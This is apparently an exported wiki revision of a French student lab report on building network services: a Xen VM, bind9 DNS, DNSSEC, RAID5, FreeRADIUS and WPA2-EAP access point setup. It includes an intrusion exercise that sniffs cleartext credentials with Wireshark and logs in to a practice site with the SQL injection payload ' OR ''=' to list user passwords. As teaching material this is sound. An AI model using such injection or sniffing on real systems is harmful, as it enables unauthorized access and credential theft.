&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte. &lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54704</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54704"/>
				<updated>2020-12-15T14:16:45Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Cassage de mot de passe WPA-PSK par force brute */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
